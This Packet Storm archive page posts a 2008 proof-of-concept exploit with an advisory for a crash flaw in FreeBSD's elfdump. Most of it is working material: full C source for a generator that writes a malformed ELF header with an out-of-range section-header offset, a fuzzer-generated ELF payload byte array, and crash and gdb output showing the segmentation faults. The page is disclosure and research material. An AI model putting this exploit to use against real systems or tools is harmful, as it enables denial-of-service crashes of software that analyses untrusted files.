what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

elfdump-exploit.c

elfdump-exploit.c
Posted Feb 14, 2008
Authored by David Reguera Garcia

Exploit that demonstrates an elfdump crash flaw when analyzing a specially crafted ELF file.

tags | exploit
SHA-256 | c3cea28a2e7394096322ead670ca856079d5192d98b98ba04aed8cbae0f111d3

elfdump-exploit.c

Change Mirror Download
/*
__FBSDID("$FreeBSD: src/usr.bin/elfdump/elfdump.c, v 1.12.8.2 2006/01/28
18:40:55 marcel Exp $");
----------------------------------------------------------
+ EVIL ELF GENERATOR FOR ELFDUMP - david.reguera@inteco.es
+ David Reguera Garcia - INTECO-CERT
----------------------------------------------------------

Advisory:
============================================================================
Software : elfdump
Version : 1.12.8.2 2006/01/28 18:40:55
Author : Jake Burkholder <jake@FreeBSD.org>
Remote : NO
Execution of code : NO
Privilege scalation : NO
Discovered by : INTECO-CERT - David Reguera Garcia <david.reguera@inteco.es>
Exploit by : INTECO-CERT - David Reguera Garcia <david.reguera@inteco.es>
Description : When elfdump analyzes an "evil" elf, the application crashes
and causes a Segmentation fault: 11
Affected OS:
- FreeBSD:
- 5.5 - TESTED AND FOUND
- 6.2 - TESTED AND FOUND
- 6.3 - TESTED AND FOUND
- Maybe others, the elfdump utility first appeared in FreeBSD 5.0

Report
----------------------------------------------------------------------------
http://www.freebsd.org/cgi/query-pr.cgi?pr=bin/120562

Techninal information:
----------------------------------------------------------------------------
The problem resides in the use of le32dec, be32dec ... without validate the
input address.

Explotation
----------------------------------------------------------------------------
An example of this explotation can be the following:

In the main function we can find the following call:
offset = elf_get_off(e, (char *)sh + shstrndx * shentsize, SH_OFFSET);

sh: mapped area with the evil ELF + e_shoff (offset of the section header).
e_shoff, shstrndx and shentsize are used directly from the mapped ELF.

What is the problem? elf_get_off, not verifies if the address is out of
range. If we use e_shoff in ELF out of range, the application may crash:

#define elf_get_off elf_get_quad

u_int64_t
elf_get_quad(Elf32_Ehdr *e, void *base, elf_member_t member)
{
u_int64_t val;

val = 0;
switch (e->e_ident[EI_CLASS]) {
case ELFCLASS32:
base = (char *)base + elf32_offsets[member];
switch (e->e_ident[EI_DATA]) {
case ELFDATA2MSB:
val = be32dec(base);
break;
case ELFDATA2LSB:
val = le32dec(base);
break;
case ELFDATANONE:
errx(1, "invalid data format");
.....

When does it crash? It is easy, for example an ELF with e_ident[EI_CLASS] is
ELFCLASS32 and e_ident[EI_DATA] is ELFDATA2LSB, then it executes:
val = le32dec(base);

le32dec is this inline function:

static __inline uint32_t
le32dec(const void *pp)
{
unsigned char const *p = (unsigned char const *)pp;

return ((p[3] << 24) | (p[2] << 16) | (p[1] << 8) | p[0]);
}

This function accesses the memory values of pp, if pp is not a readable
address the application crashes with Segmentation fault: 11

In other words, if we create an evil ELF with an evil e_shoff the
application crashes. (Also it is possible to create evil shstrndx,
shentsize ...)

I create a POC exploit which creates an evil ELF to crash elfdump.
In this exploit the values of shstrndx and shentsize are filled with 0 for
simplicity.

Compile & execute:

[Dreg@ ~/vuln]# gcc -pedantic -ansi-c -o xpl xpl.c
[Dreg@ ~/vuln]# ./xpl -f pocdump && echo "-" && \
echo " Executing elfdump....:" && elfdump -a pocdump

__FBSDID("$FreeBSD: src/usr.bin/elfdump/elfdump.c,
v 1.12.8.2 2006/01/28 18:40:55 marcel Exp $");
----------------------------------------------------------
+ EVIL ELF GENERATOR FOR ELFDUMP - david.reguera@inteco.es
+ David Reguera Garcia - INTECO-CERT
----------------------------------------------------------
Note: run it with -h parameter to show help.

Evil ELF written using e_shoff: 16777215, at: pocdump
Now, try elfdump -a pocdump
-
Executing elfdump....:
Segmentation fault: 11 (core dumped)

Low level area
============================================================================
The ASM code of le32dec is:

loc_80488DC:
movzx edx, byte ptr [ebx+3]
movzx eax, byte ptr [ebx+2]
shl eax, 10h
shl edx, 18h
or edx, eax
movzx eax, byte ptr [ebx+1]
shl eax, 8
or edx, eax
movzx eax, byte ptr [ebx]

If [EBX], [EBX+2], [EBX+3] or [EBX+1] are a memory non readable the
application crashes.

Note
============================================================================
This POC exploit may crash the application in some other memory address as
well as 0x80488DC, for example:

[Dreg@ ~/vuln]# ./xpl -o 20 -f petadump && echo "-" && \
echo " Executing elfdump....:" && elfdump -a petadump

__FBSDID("$FreeBSD: src/usr.bin/elfdump/elfdump.c,
v 1.12.8.2 2006/01/28 18:40:55 marcel Exp $");
----------------------------------------------------------
+ EVIL ELF GENERATOR FOR ELFDUMP - david.reguera@inteco.es
+ David Reguera Garcia - INTECO-CERT
----------------------------------------------------------
Note: run it with -h parameter to show help.

Evil ELF written using e_shoff: 20, at: petadump
Now, try: elfdump -a petadump
-
Executing elfdump....:

elf header:

Segmentation fault: 11 (core dumped)

In this case the application crashes at 0x28132f4f:
0x28132f4f <__vfprintf+9727>: repnz scas %es:(%edi),%al
This is caused by the following call in the elfdump.c file:
fprintf(out, "\te_ident: %s %s %s\n", ei_classes[class], ei_data[data],
ei_abis[osabi]);

[Dreg@ ~/vuln]# gdb --core elfdump.core
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd".
Core was generated by `elfdump'.
Program terminated with signal 11, Segmentation fault.
#0 0x28132f4f in ?? ()

Greetings
============================================================================
For his help with the English translation:
- Javier Berciano <javier.berciano@inteco.es>
- Ana Hijosa <ana.hijosa@inteco.es>

Others
============================================================================
Payload generated by my ELF Fuzzer used to discover the bug:

unsigned char payload[] =
{
0x7F, 0x45, 0x4C, 0x46, 0x01, 0x01, 0x01, 0x09, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x39, 0x86, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xF0, 0x18, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x06, 0x00, 0x28, 0x00,
0x18, 0x00, 0x15, 0x00, 0x06, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00,
0x34, 0x80, 0x04, 0x08, 0x34, 0x80, 0x04, 0x08, 0xC0, 0x00, 0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0xF4, 0x80, 0x04, 0x08,
0xF4, 0x80, 0x04, 0x08, 0x15, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08,
0x51, 0x06, 0x00, 0x00, 0x51, 0x06, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x3C, 0x16, 0x00, 0x00,
0x3C, 0x96, 0x04, 0x08, 0x3C, 0x96, 0x04, 0x08, 0xD8, 0x00, 0x00, 0x00,
0xF8, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x4C, 0x16, 0x00, 0x00, 0x4C, 0x96, 0x04, 0x08,
0x4C, 0x96, 0x04, 0x08, 0x98, 0x00, 0x00, 0x00, 0x98, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x0C, 0x11, 0x00, 0x00, 0x0C, 0x81, 0x04, 0x08, 0x0C, 0x81, 0x04, 0x08,
0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x00,
} ;
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma pack(1)

/* ELF DATA ---------------------------------------------------------------- */
#define ELFMAG "\177ELF"
#define EI_NIDENT (16)
#define ELFCLASS32 1 /* 32-bit architecture. */
#define ELFDATA2LSB 1 /* 2's complement little-endian. */
#define EI_CLASS 4 /* Class of machine. */
#define EI_DATA 5 /* Data format. */

typedef signed char int8_t;
typedef unsigned char uint8_t;
typedef short int16_t;
typedef unsigned short uint16_t;
typedef int int32_t;
typedef unsigned uint32_t;

typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Off;
typedef uint16_t Elf32_Half;

/* Types for signed and unsigned 32-bit quantities. */
typedef uint32_t Elf32_Word;
typedef int32_t Elf32_Sword;
typedef uint32_t Elf64_Word;
typedef int32_t Elf64_Sword;

typedef struct
{
unsigned char e_ident[EI_NIDENT]; /* File identification. */
Elf32_Half e_type; /* File type. */
Elf32_Half e_machine; /* Machine architecture. */
Elf32_Word e_version; /* ELF format version. */
Elf32_Addr e_entry; /* Entry point. */
Elf32_Off e_phoff; /* Program header file offset. */
Elf32_Off e_shoff; /* Section header file offset. */
Elf32_Word e_flags; /* Architecture-specific flags. */
Elf32_Half e_ehsize; /* Size of ELF header in bytes. */
Elf32_Half e_phentsize; /* Size of program header entry. */
Elf32_Half e_phnum; /* Number of program header entries. */
Elf32_Half e_shentsize; /* Size of section header entry. */
Elf32_Half e_shnum; /* Number of section header entries. */
Elf32_Half e_shstrndx; /* Section name strings section. */

} Elf32_Ehdr;

/* -------------------------------------------------------------------------- */

/* EXPLOIT HEADER ----------------------------------------------------------- */
#define MIN_ARGS 2
#define NR_FILE 1
#define NR_OFFSET_SHDR 2

#define DEFAULT_FILE_DUMP "elfdump_segfault"
#define DEFAULT_SHDR_OFFSET 0xFFFFFF
#define VALUE_FILL_HEADER 0x00

typedef enum BOOL_e
{
FALSE = 0,
TRUE

} BOOL_t;

int exploit( const int, const char * const[] );
int _exploit( const char * const, FILE * const, Elf32_Off );
int GetArgs
(
const int ,
const char * const[] ,
const char ** ,
Elf32_Off * const ,
BOOL_t * const
);
void ShowHelp( void );
/* -------------------------------------------------------------------------- */

/* EXPLOIT SOURCE ----------------------------------------------------------- */
int main( int argc, char * argv[] )
{
int returnf;

returnf = exploit( argc, (const char ** const) argv );

return returnf;
}

int exploit( const int argc, const char * const argv[] )
{
const char * file_dump_name;
FILE * file_dump_desc;
int returnf;
Elf32_Off offset_shdr;
BOOL_t help;

printf
(
"\n"
" __FBSDID(\"$FreeBSD: src/usr.bin/elfdump/elfdump.c,\n"
" v 1.12.8.2 2006/01/28 18:40:55 marcel Exp $\");\n"
" ----------------------------------------------------------\n"
" + EVIL ELF GENERATOR FOR ELFDUMP - david.reguera@inteco.es\n"
" + David Reguera Garcia - INTECO-CERT\n"
" ----------------------------------------------------------\n"
" Note: run it with -h parameter to show help.\n"
"\n"
);

if ( GetArgs( argc, argv, & file_dump_name, & offset_shdr, & help ) == -1 )
return -1;

if ( help == TRUE )
{
ShowHelp();
return -1;
}

if ( file_dump_name == NULL )
file_dump_name = DEFAULT_FILE_DUMP;
if ( offset_shdr == 0 )
offset_shdr = DEFAULT_SHDR_OFFSET;

file_dump_desc = fopen( file_dump_name, "wb" );
if ( file_dump_desc == NULL )
{
perror( " Error: Creating evil ELF" );

return -1;
}

returnf = _exploit( file_dump_name, file_dump_desc, offset_shdr );

fclose( file_dump_desc );

return returnf;
}

int _exploit
(
const char * const file_dump_name ,
FILE * const file_dump_desc ,
Elf32_Off offset_shdr
)
{
Elf32_Ehdr payload;

memset( & payload, VALUE_FILL_HEADER, sizeof( payload ) );

memcpy( payload.e_ident, ELFMAG, sizeof( payload.e_ident ) );
payload.e_ident[EI_CLASS] = ELFCLASS32;
payload.e_ident[EI_DATA] = ELFDATA2LSB;

payload.e_shoff = offset_shdr;

if ( fwrite( & payload, sizeof( payload ), 1, file_dump_desc ) != 1 )
{
printf( " Error: Writting evil ELF" );
return -1;
}
else
{
printf
(
" Evil ELF written using e_shoff: %u, at: %s\n"
" Now, try: elfdump -a %s\n"
,
offset_shdr, file_dump_name, file_dump_name
);
}

return 0;
}

int GetArgs
(
const int argc ,
const char * const argv[] ,
const char ** file_dump_name ,
Elf32_Off * const offset_shdr ,
BOOL_t * const help
)
{
const char * actual_param;
int i;

* file_dump_name = NULL;
* offset_shdr = 0;
i = 1;
* help = FALSE;
while ( ( i < argc ) && ( * help == FALSE ) )
{
if ( strcmp( argv[i], "-h" ) == 0 )
* help = TRUE;
else if ( i + 1 < argc )
{
actual_param = argv[i + 1];
if ( strcmp( argv[i], "-f" ) == 0 )
* file_dump_name = actual_param;
else if ( strcmp( argv[i], "-o" ) == 0 )
* offset_shdr = atoi( actual_param );
}

i++;
}

return 0;
}

void ShowHelp( void )
{
/* I divide it in two calls, because:
warning: string length `706' is greater than the length `509' ISO C89
compilers are required to support
*/

puts
(
" Usage: program [-h|-f,-o]\n"
" -h: Show help.\n"
" -f: File to dump the evil ELF. [OPTIONAL]\n"
" -o: e_shoff value of the evil ELF.[OPTIONAL]\n"
"\n"
" The value of e_shoff + mmap of the elfdump must be a non readable\n"
" address: MOVZX EAX, BYTE PTR [EBX]:\n"
" EBX = (e_shoff + mmap) + (shstrndx * shentsize)\n"
" -\n"
" In this exploit the value of shstrndx and shentsize are filled \n"
" with 0 for simplicity:\n"
" EBX = (e_shoff + mmap) + (0 * 0)\n"
" EBX = (e_shoff + mmap)\n"
);
printf
(
" And we can control the value of e_shoff with -o param.\n"
" -\n"
" Default values:\n"
" -f: %s\n"
" -o: %d\n"
" -\n"
" Example of usage:\n"
" program -o 10000 -f evil_elf10000\n"
" -\n"
" [Dreg@ ~/vuln]# elfdump -a evil_elf10000\n"
" Segmentation fault: 11 (core dumped)\n"
"\n"
" Note: This POC exploit may crash the application in some other \n"
" memory address as well as 0x80488DC, for example inside\n"
" fprintf\n"
"\n"
,

DEFAULT_FILE_DUMP ,
DEFAULT_SHDR_OFFSET
);
}
/* -------------------------------------------------------------------------- */

/* EOF */

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    0 Files
  • 7
    Mar 7th
    0 Files
  • 8
    Mar 8th
    0 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close